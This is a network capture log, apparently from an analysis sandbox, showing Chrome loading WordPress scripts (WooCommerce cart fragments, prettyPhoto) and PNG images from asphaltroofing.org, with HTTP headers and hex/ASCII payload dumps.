Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	703	OUT	GET /wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=7.0.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	544	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: text/javascript Content-Length: 2938 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 17:29:55 GMT ETag: "1d417b7-b7a-5ebcb23cbcac0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	2938	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 63 5f 63 61 72 74 5f 66 72 61 67 6d 65 6e 74 73 5f 70 61 72 61 6d 73 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 74 3d 21 30 2c 6f 3d 77 63 5f 63 61 72 74 5f 66 72 61 67 6d 65 6e 74 73 5f 70 61 72 61 6d 73 2e 63 61 72 74 5f 68 61 73 68 5f 6b 65 79 3b 74 72 79 7b 74 3d 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 69 6e 20 77 69 6e 64 6f 77 26 26 6e 75 6c 6c 21 3d 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2c 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 77 63 22 2c 22 74 65 73 74 22 29 2c 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 72 65 Data Ascii: jQuery(function(r){if("undefined"==typeof wc_cart_fragments_params)return!1;var t=!0,o=wc_cart_fragments_params.cart_hash_key;try{t="sessionStorage"in window&&null!==window.sessionStorage,window.sessionStorage.setItem("wc","test"),window.sessionStorage.re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49792	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	708	OUT	GET /wp-content/themes/u-design/inc/frontend/prettyPhoto/js/jquery.prettyPhoto.js?ver=3.1.6 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	546	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: text/javascript Content-Length: 21508 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e0272a-5404-5b419ed103e00" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	7646	IN	Data Raw: 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 43 6c 61 73 73 3a 20 70 72 65 74 74 79 50 68 6f 74 6f 0a 09 55 73 65 3a 20 4c 69 67 68 74 62 6f 78 20 63 6c 6f 6e 65 20 66 6f 72 20 6a 51 75 65 72 79 0a 09 41 75 74 68 6f 72 3a 20 53 74 65 70 68 61 6e 65 20 43 61 72 6f 6e 20 28 68 74 74 70 3a 2f 2f 77 77 77 2e 6e 6f 2d 6d 61 72 67 69 6e 2d 66 6f 72 2d 65 72 72 6f 72 73 2e 63 6f 6d 29 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 36 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: /* ------------------------------------------------------------------------Class: prettyPhotoUse: Lightbox clone for jQueryAuthor: Stephane Caron (http://www.no-margin-for-errors.com)Version: 3.1.6-------------------------------------------------
2024-04-23 14:53:49 UTC	8192	IN	Data Raw: 65 74 74 69 6e 67 73 2e 61 6c 6c 6f 77 5f 65 78 70 61 6e 64 26 26 65 28 22 61 2e 70 70 5f 65 78 70 61 6e 64 22 29 2e 62 69 6e 64 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 22 70 70 5f 65 78 70 61 6e 64 22 29 3f 28 65 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 70 70 5f 65 78 70 61 6e 64 22 29 2e 61 64 64 43 6c 61 73 73 28 22 70 70 5f 63 6f 6e 74 72 61 63 74 22 29 2c 64 6f 72 65 73 69 7a 65 3d 21 31 29 3a 28 65 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 70 70 5f 63 6f 6e 74 72 61 63 74 22 29 2e 61 64 64 43 6c 61 73 73 28 22 70 70 5f 65 78 70 61 6e 64 22 29 2c 64 6f 72 65 73 69 7a 65 3d 21 30 29 2c 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: ettings.allow_expand&&e("a.pp_expand").bind("click",function(){return e(this).hasClass("pp_expand")?(e(this).removeClass("pp_expand").addClass("pp_contract"),doresize=!1):(e(this).removeClass("pp_contract").addClass("pp_expand"),doresize=!0),n(function(){
2024-04-23 14:53:49 UTC	5670	IN	Data Raw: 6f 6e 2d 31 5d 29 2c 24 70 70 5f 70 69 63 5f 68 6f 6c 64 65 72 2e 66 69 6e 64 28 22 23 70 70 5f 66 75 6c 6c 5f 72 65 73 22 29 5b 30 5d 2e 69 6e 6e 65 72 48 54 4d 4c 3d 73 65 74 74 69 6e 67 73 2e 69 6d 61 67 65 5f 6d 61 72 6b 75 70 2e 72 65 70 6c 61 63 65 28 2f 7b 70 61 74 68 7d 2f 67 2c 70 70 5f 69 6d 61 67 65 73 5b 73 65 74 5f 70 6f 73 69 74 69 6f 6e 5d 29 2c 69 6d 67 50 72 65 6c 6f 61 64 65 72 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 3d 6c 28 69 6d 67 50 72 65 6c 6f 61 64 65 72 2e 77 69 64 74 68 2c 69 6d 67 50 72 65 6c 6f 61 64 65 72 2e 68 65 69 67 68 74 29 2c 73 28 29 7d 2c 69 6d 67 50 72 65 6c 6f 61 64 65 72 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 61 6c 65 72 74 28 22 49 6d 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 Data Ascii: on-1]),$pp_pic_holder.find("#pp_full_res")[0].innerHTML=settings.image_markup.replace(/{path}/g,pp_images[set_position]),imgPreloader.onload=function(){f=l(imgPreloader.width,imgPreloader.height),s()},imgPreloader.onerror=function(){alert("Image cannot be

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49793	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	700	OUT	GET /wp-content/themes/u-design/inc/frontend/prettyPhoto/custom_params.js?ver=3.1.6 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	546	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: text/javascript Content-Length: 8618 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e026fc-21aa-5b419ed103e00" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	7646	IN	Data Raw: 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 09 70 72 65 74 74 79 50 68 6f 74 6f 20 63 75 73 74 6f 6d 20 73 65 74 74 69 6e 67 73 20 66 6f 72 20 22 55 2d 44 65 73 69 67 6e 22 20 74 68 65 6d 65 0d 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0d 0a 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0d 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 Data Ascii: /* ------------------------------------------------------------------------prettyPhoto custom settings for "U-Design" themeVersion: 3.1.5------------------------------------------------------------------------- */(function($){ "use strict
2024-04-23 14:53:49 UTC	972	IN	Data Raw: 6c 75 67 69 6e 73 70 61 67 65 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 70 6c 65 2e 63 6f 6d 2f 71 75 69 63 6b 74 69 6d 65 2f 64 6f 77 6e 6c 6f 61 64 2f 22 3e 3c 2f 65 6d 62 65 64 3e 3c 2f 6f 62 6a 65 63 74 3e 27 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 72 61 6d 65 5f 6d 61 72 6b 75 70 3a 20 27 3c 69 66 72 61 6d 65 20 73 72 63 20 3d 22 7b 70 61 74 68 7d 22 20 77 69 64 74 68 3d 22 7b 77 69 64 74 68 7d 22 20 68 65 69 67 68 74 3d 22 7b 68 65 69 67 68 74 7d 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 27 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 6c 69 6e 65 5f 6d 61 72 6b 75 70 3a 20 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 70 5f 69 6e 6c 69 6e 65 22 3e 7b 63 6f 6e 74 65 6e Data Ascii: luginspage="http://www.apple.com/quicktime/download/"></embed></object>', iframe_markup: '<iframe src ="{path}" width="{width}" height="{height}" frameborder="no"></iframe>', inline_markup: '<div class="pp_inline">{conten

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49795	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	485	OUT	GET /media/_pda/2019/11/asphalt-tagline-updated.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: image/png Content-Length: 9728 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Thu, 31 Dec 2020 15:28:05 GMT ETag: "60065e-2600-5b7c44523cb40" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	7677	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 16 00 00 00 3d 08 06 00 00 00 f1 b3 20 0f 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDR= tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57
2024-04-23 14:53:49 UTC	2051	IN	Data Raw: 59 55 43 5d 75 8d b4 fb c0 79 64 a4 92 bd ef 01 a2 91 b3 6a f1 04 55 6f db 42 b5 5b d6 53 b4 b3 8d a2 1d 6d d4 d1 38 9a 7a aa 46 d0 9e 59 f3 0b cf 2f c8 70 d6 bc 4f 96 ef 13 0a e7 0e 69 d7 54 91 f3 9b 06 f3 6d 9c cd e6 57 84 bc 9d 8f 50 2e 4f 99 58 8c 1a d6 be 42 89 a6 5d aa ec e1 5c 19 f6 a8 fc 87 d3 29 f7 f2 97 59 07 38 c8 76 0d f5 dd 8f c1 da 2f 53 e4 7f c5 43 b5 66 94 9c 0c 5a da e7 fd fc ee 47 32 94 10 27 e7 ad 95 cd e1 91 0e e8 83 f5 d0 ab fb 40 10 9e 2a f2 99 e6 db 70 83 ec d3 60 e6 a5 8b fc cf bd f2 23 2b 3d 54 fa c4 c4 4a 97 3a 34 50 7f e9 21 24 27 d5 e4 be da c4 4f bd 0c 5a 19 56 dc 7e db a0 11 8b c1 ec a8 26 e3 8b 68 c6 33 e9 d2 c1 98 c1 5d e4 70 9e d9 e2 69 43 50 19 55 90 fb 5c 09 53 38 cb 3d 99 32 4a 85 61 91 24 95 69 95 47 2c 1c a2 a9 89 0a Data Ascii: YUC]uydjUoB[Sm8zFY/pOiTmWP.OXB]\)Y8v/SCfZG2'@*p`#+=TJ:4P!$'OZV~&h3]piCPU\S8=2Ja$iG,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49797	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	466	OUT	GET /media/2017/04/logo-icon.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	513	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: image/png Content-Length: 865 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 15 Dec 2021 09:14:35 GMT ETag: "6001a0-361-5d32bbc0434c0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	865	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 57 08 03 00 00 00 be f6 d2 a9 00 00 00 4e 50 4c 54 45 47 70 4c a7 a9 ad a6 a7 ab a7 a9 ad 74 20 16 a7 a9 ad 99 85 86 74 21 17 a7 a9 ad 75 22 18 a7 a9 ad 74 20 16 75 23 19 a7 a9 ad 74 20 16 a7 a9 ad a7 a9 ad a7 a9 ad a7 a9 ad 74 20 16 96 7a 79 74 20 16 8f 67 65 74 20 16 a7 a9 ad 80 3f 39 b1 74 3c e2 00 00 00 17 74 52 4e 53 00 ef bf 3a bf 60 10 44 dc 81 50 d7 96 af 2a 99 20 70 81 67 fa af b7 5b f4 a9 1f 00 00 02 ab 49 44 41 54 58 c3 b5 99 d9 76 84 20 10 44 11 51 c0 75 46 1d c5 ff ff d1 e0 36 2c 82 3a a4 a9 c7 9c 93 db 95 b2 2d d1 20 e4 53 86 5f 28 9a 3a 91 bc a3 c1 5b 21 44 34 f3 58 c2 a3 99 4f c4 aa 38 e6 c5 ae 18 e6 53 f1 15 bc 79 0d 0e 6f be 13 ba 80 cd 9b 70 60 f3 58 58 82 34 cf 6c 38 Data Ascii: PNGIHDR\WNPLTEGpLt t!u"t u#t t zyt get ?9t<tRNS:`DP* pg[IDATXv DQuF6,:- S_(:[!D4XO8Syop`XX4l8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49796	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	504	OUT	GET /wp-content/plugins/revslider/public/assets/assets/transparent.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	513	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: image/png Content-Length: 122 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "1548b79-7a-5b419ed2ec280" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	122	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 c8 01 00 00 00 00 7a a4 e1 f8 00 00 00 02 74 52 4e 53 00 01 01 94 fd ae 00 00 00 33 49 44 41 54 78 01 ed ca 31 01 00 00 08 03 20 fb a7 b5 81 16 d8 b1 00 70 33 d7 58 4d d3 34 4d d3 22 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 1e c7 8b 88 4c 24 25 a6 95 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR,ztRNS3IDATx1 p3XM4M"M4M4M4M4M4ML$%IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49798	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	516	OUT	GET /wp-content/uploads/2024/01/2024_ExcellenceAwardWinners_WebSlider_1425x300.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	518	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: image/png Content-Length: 264122 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 24 Jan 2024 15:55:58 GMT ETag: "60102c-407ba-60fb31955f9ca" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	7674	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 91 00 00 01 2c 08 03 00 00 00 85 72 0d 4c 00 00 03 00 50 4c 54 45 e2 e3 e2 1b 23 27 3d 3c 3b 51 5c 63 8e 96 88 ff ff ff 0d 0e 06 ab b1 a6 e8 e8 e3 40 4f 32 3a 39 37 24 1e 1a 10 12 07 55 60 66 65 7f 82 1f 19 16 28 22 1d 59 63 69 65 83 84 13 17 08 69 87 88 37 34 33 1b 14 10 4e 58 5f 5d 78 7a 5c 66 6d 49 55 5c 1f 29 2a 09 09 06 31 29 21 56 6f 73 5a 74 77 35 20 16 25 2c 2e 76 94 94 5f 6b 70 6d 8c 8c 16 1d 20 41 40 3d 17 1c 0b 6f 83 87 52 6a 6e 46 52 59 37 2f 24 65 7b 80 73 89 8c 70 90 8f 78 9a 97 5e 7c 7d b5 bf c4 4e 65 6a 79 8f 91 25 30 32 29 26 26 1a 0f 0a 83 76 71 c4 c5 c3 7f a2 9e 91 82 7b 32 2e 31 7d 70 6a 0e 0f 10 2e 18 0d 24 2e 10 89 7b 76 1e 28 0e 43 53 23 2a 34 10 52 52 50 ae 6a 46 1a 22 0c 40 Data Ascii: PNGIHDR,rLPLTE#'=<;Q\c@O2:97$U`fe("Yciei743NX_]xz\fmIU\)1)!VosZtw5 %,.v_kpm A@=oRjnFRY7/$e{spx^\|}Nejy%02)&&vq{2.1}pj.$.{v(CS#4RRPjF"@
2024-04-23 14:53:49 UTC	8192	IN	Data Raw: 28 35 9a d8 ec 98 d8 2c 95 b2 00 f7 54 66 a7 c6 c6 66 c7 c6 c6 28 33 53 35 9a cc c8 98 ec 6c a5 2d 3b 33 3b 56 89 eb f1 53 26 9e 47 5b 81 06 43 89 a7 8a 67 8c 57 84 17 91 85 07 d2 b0 33 a5 32 4b 93 a5 29 c0 8d 3a f6 d2 34 ec dd f7 cf ff d5 65 e9 b7 b8 5c 96 0b 2e 8b c3 60 a2 c5 64 70 d9 e3 1d 9d 9d ed ed 5d e6 2e 57 4d 92 ab b7 b7 c6 c2 6e 31 44 a4 38 52 52 1c 86 14 87 5a 1d 15 91 62 b1 a8 6d 86 14 43 0a 46 5c 5c dc bc a8 28 47 14 be a7 d9 ac 2a bd de a2 d3 db bc 36 9b 26 cb 66 b3 59 6c b6 33 2e fd a0 15 ab af 4d a7 6a b3 ea 4c 2e 97 c9 aa d7 e9 0b ac 6d b8 ab 8e d6 3e d6 38 7e 50 15 58 0b f4 06 83 49 af b7 5a 0c 89 e1 11 db 2a d3 99 1c 0e eb 19 4a 31 18 2c 96 31 1e b3 a7 d5 5c de bc a1 a4 ba a1 21 0c 21 86 ea 06 5c a8 ae 6e 68 ad 9e 32 a5 a4 62 c3 86 f4 Data Ascii: (5,Tff(3S5l-;3;VS&G[CgW32K):4e\.`dp].WMn1D8RRZbmCF\\(G6&fYl3.MjL.m>8~PXIZJ1,1\!!\nh2b
2024-04-23 14:53:49 UTC	8192	IN	Data Raw: 5d a3 52 f4 29 36 44 33 e0 57 38 52 c0 e2 08 5c a1 37 69 b0 73 61 a5 6d 0d f4 24 76 cf 55 84 63 5b 9d 17 a5 a6 c4 39 d1 65 2f 5a 90 58 48 9a d0 33 e4 a2 20 b0 46 87 fc b1 ca 30 e4 b6 a3 41 30 ec 4c 6f 8d 4b 0f 71 ec 1a 72 0d f5 ae 18 aa 31 7b dc 15 bf fe 6d de 04 f5 f2 6d 71 5d 11 8b 12 13 a3 e6 e4 25 66 24 bf 9e de 7c 02 f9 e3 56 64 28 5a 59 37 00 46 c9 06 4f 4b c5 24 87 23 3c 79 59 33 02 51 1b 5a 5a 9d 1b 2a 36 38 05 1e 8b 38 16 97 f4 ca 5a 73 bb 0b 0a 1d db 09 f8 2c e8 09 2c ed 99 32 25 23 4f 2d cc 84 11 c6 e2 4c c6 ad 0a 27 8a 7c da b5 f3 53 20 91 3b bb 8b 2f 34 7a cc f3 d7 ad 5d d2 3e 7f 4d fe 8a 46 45 63 3e ba 1b 8c 24 85 bb ed 3d 9d 90 71 c9 c9 19 ee 4a 77 63 93 d0 b5 5d 6a ac 34 2a c2 1a 15 10 ca 4d 55 66 23 6b d9 d3 b6 51 da ba 80 6d 83 eb 90 e6 Data Ascii: ]R)6D3W8R\7isam$vUc[9e/ZXH3 F0A0LoKqr1{mmq]%f$\|Vd(ZY7FOK$#<yY3QZZ688Zs,,2%#O-L'\|S ;/4z]>MFEc>$=qJwc]j4MUf#kQm
